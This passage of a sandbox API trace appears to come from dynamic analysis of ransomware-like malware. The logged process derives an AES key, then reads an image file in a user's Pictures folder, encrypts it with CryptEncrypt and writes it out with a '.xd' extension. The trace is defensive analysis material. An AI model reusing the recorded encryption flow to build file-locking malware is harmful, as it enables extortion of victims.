lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.679] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0061.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621768, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0061.680] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0061.680] CryptHashData (hHash=0x164c2b0, pbData=0x1629470, dwDataLen=0x3, dwFlags=0x1) returned 1 [0061.680] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.680] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.680] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.680] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.680] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.680] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0061.680] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.680] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0061.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621738, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0061.681] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0061.681] CryptDeriveKey (in: hProv=0x17a9f88, Algid=0x6610, hBaseData=0x164c2b0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c8f0) returned 1 [0061.681] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.681] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.681] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.681] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.681] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.681] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.681] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0061.681] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0061.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0061.681] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0061.681] CryptDestroyHash (hHash=0x164c2b0) returned 1 [0061.681] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.682] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.682] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.682] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.682] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.682] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\bp5khlyytl7wp\\fjawttn6a7xyzfxjvq6u\\rfbuls0rtbh9quhho.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0061.682] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.682] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0061.682] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.682] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.682] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.682] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\bp5khlyytl7wp\\fjawttn6a7xyzfxjvq6u")) returned 0x10 [0061.683] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\bp5khlyytl7wp\\fjawttn6a7xyzfxjvq6u\\rfbuls0rtbh9quhho.png.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0061.683] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.683] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.683] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.683] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.689] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0061.689] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0061.691] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x5ef9, lpOverlapped=0x0) returned 1 [0061.691] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0061.695] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 1 [0061.696] TranslateMessage (lpMsg=0x130f164) returned 0 [0061.696] DispatchMessageW (lpMsg=0x130f164) returned 0x0 [0061.696] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e7c8) returned 1 [0061.699] KillTimer (hWnd=0x70084, uIDEvent=0x1) returned 1 [0061.699] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0061.700] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.700] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.700] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.700] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0061.701] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.702] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.702] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0061.702] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.702] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0061.702] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.702] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.702] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.702] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0061.702] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0061.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164df90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0061.702] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0061.702] CryptGetKeyParam (in: hKey=0x164c8f0, dwParam=0x7, pbData=0x16293c0, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x16293c0*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0061.702] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.703] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.703] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.703] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.703] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.703] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.703] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.703] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.703] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0061.703] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.703] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.703] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0061.703] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.703] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.703] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0061.703] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.703] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.703] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.703] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.703] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.703] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.703] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.704] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.704] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.704] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0061.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16216f0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0061.705] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0061.705] CryptEncrypt (in: hKey=0x164c8f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x15ef9, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x15f00) returned 1 [0061.705] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.705] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.705] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.705] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.705] CharLowerBuffW (in: lpsz="byte[89857]", cchLength=0xb | out: lpsz="byte[89857]") returned 0xb [0061.705] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.706] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.706] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.706] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.707] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0061.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16219f0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0061.707] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0061.707] CryptEncrypt (in: hKey=0x164c8f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17e6a20*, pdwDataLen=0x130e618*=0x15ef9, dwBufLen=0x15f00 | out: pbData=0x17e6a20*, pdwDataLen=0x130e618*=0x15f00) returned 1 [0061.707] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.707] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.707] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.707] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.707] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.708] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.708] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0061.708] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.708] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0061.708] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.708] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.708] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.708] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.709] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0061.709] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.709] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.709] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.714] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.714] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.714] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.715] WriteFile (in: hFile=0x3bc, lpBuffer=0x1892f18*, nNumberOfBytesToWrite=0x15f00, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x1892f18*, lpNumberOfBytesWritten=0x130f01c*=0x15f00, lpOverlapped=0x0) returned 1 [0061.717] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.717] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.717] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0061.717] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.717] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.717] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0061.717] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0061.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621510, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0061.717] GetProcAddress (hModule=0x74c60000, 